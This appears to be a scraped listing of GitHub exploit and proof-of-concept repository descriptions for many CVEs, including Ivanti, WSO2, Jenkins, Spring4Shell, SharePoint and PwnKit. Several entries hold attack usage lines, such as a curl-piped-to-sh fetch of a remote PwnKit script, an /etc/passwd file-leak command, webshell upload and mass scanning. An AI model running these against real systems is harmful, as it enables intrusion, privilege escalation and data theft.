CVE-2026-10520-10523

CVE-2026-10520, CVE-2026-10523 Ivanti Sentry ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: git clone cd Project use python follow below Creat...

cert-pinning-flaw-poc

cert pinning flaw POC Simple POC script for testing CVE-2016-2402 and similar flaws. Read my blog post for details. This utility will set up a HTTPS server that servers a malicious certificate chain to the client for a specific domain. If traffic from an app with a vulnerable certificate pinning...

Livepyre

Livepyre A tool designed to exploit CVE-2025-54068 and Remote Command Execution if the APPKEY of the Livewire project is known. Authors of the tool: @remsio @Worty. Help $ ./Livepyre.py -h usage: Livepyre.py -h -u URL -f FUNCTION -p PARAM -H HEADERS -P PROXY -a APPKEY -d -F -c Livewire exploit to...

Fix-CVE-2017-1000117

Test repository to check Git's vulnerability CVE-2017-1000117, and try to upgrade git version. $ git clone --recursive https://github.com/shogo82148/Fix-CVE-2017-1000117.git The repository is inspired by https://github.com/greymd/CVE-2017-1000117 . To make sure that your git is safe, please clone...

CVE-2022-29464

CVE-2022-29464 CVE-2022-29464 POC exploit Usage usage: exploit.py -h -u URL -l LIST -w WEBSHELL optional arguments: -h, --help show this help message and exit -u URL, --url URL Target url, http://localhost:9443 -l LIST, --list LIST List of target url saperated with new line -w WEBSHELL, --webshel...

Mass-exploit-CVE-2022-29464

Meow Meow Meow! Just a Mass Exploit based on a Python PoC for WSO2 Carbon Server CVE-2022-29464 Pre-auth RCE bug CVE-2022-29464. Meow Meow Meow? Requirements? Python3 Shodan Zoomeye A Brain What is this tool? This is a mass-autoscan-exploit of CVE-2022-29464 based on the PoC wrote in python by a...

CVE-2019-19781

CVE-2019-19781 Citrix Netscaler RCE...

CVE-2020-27194

CVE-2020-27194 my exp for CVE-2020-27194, tested on linux kernel 5.8.14. More details : https://ama2in9.top/2020/12/14/CVE-2020-27194/ reference CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析 CVE-2020-8835 pwn2own 2020 ebpf 通过任意读写提权分析...

CVE-2025-48384-submodule

CVE-2025-48384-submodule CVE-2025-48384-submodule...

Go-Get-RCE-CVE-2018-6574-POC

CVE-2018-6574 POC LINK https://nvd.nist.gov/vuln/detail/CVE-2018-6574 http://blog.nsfocus.net/cve-2018-6574/ RUN go get github.com/neargle/CVE-2018-6574-POC DETAIL payload at: https://github.com/neargle/CVE-2018-6574-POC/blob/master/calc.cL10 Now it supports all platforms using CGO features. Afte...

CVE-2024-23897-Jenkins-4.441

CVE-2024-23897 - Jenkins Arbitrary File Leak Compile g++ CVE-2024-23897.cpp -o exploit Usage /exploit -u http://10.10.10.10 -f /etc/passwd...

exim-vuln-poc

CVE-2018-6789...

spring4shell_victim

spring4shellvictim Intentionally vulnerable Spring app to test CVE-2022-22965 For more information: https://www.fracturelabs.com/posts/effective-spring4shell-scanning-exploitation/ Usage Build The following code will quickly build a vulnerable Docker image using the following components: JDK...

Spring4Shell-POC

Spring4Shell PoC Application This is a dockerized application that is vulnerable to the Spring4Shell vulnerability CVE-2022-22965. Full Java source for the war is provided and modifiable, the war will get re-built whenever the docker image is built. The built WAR will then be loaded by Tomcat...

SharePoint-CVE-2025-53770-POC

OurSharePoint - CVE-2025-53770 PoC This is a simple C tool that builds a GZipped, Base64-encoded .NET DataSet payload using a LosFormatter-encoded inner payload. It's designed to help reproduce the SharePoint deserialization RCE chain described in public research. What it does You give it a...

IngressNightmare-POCs

IngressNightmare-POCs CVE-2025-24513: https://github.com/kubernetes/kubernetes/issues/131005 CVE-2025-24514: https://github.com/kubernetes/kubernetes/issues/131006 CVE-2025-1097: https://github.com/kubernetes/kubernetes/issues/131007 CVE-2025-1098:...

PwnKit

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" Manually curl -fsSL...

CVE-2026-42530

cve-id ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: git clone cd Project use python follow below Create a virtual environment python -m venv...

-CVE-2023-30845

CVE-2023-30845 This is a script for CVE 2023-30845 automatically across multiple subdomains Metódos de uso: CLONE REPOSITORY| GIVE PERMISSION TO THE FILE| RUN THE FILE ---|---|--- https://github.com/himori123/-CVE-2023-30845.git| chmod +x CVE-2023-30845.sh| ./CVE-2023-30845.sh...

QuestStack

QuestStack QuestStack is a Meta Quest root and bootloader unlocking project. Using the GhostLock privilege escalation chain and the CVE-2021-1931 ABL/fastboot vulnerability, QuestStack provides a way to gain root access on the latest Quest 1 firmware, temporarily boot using a vulnerable ABL, and...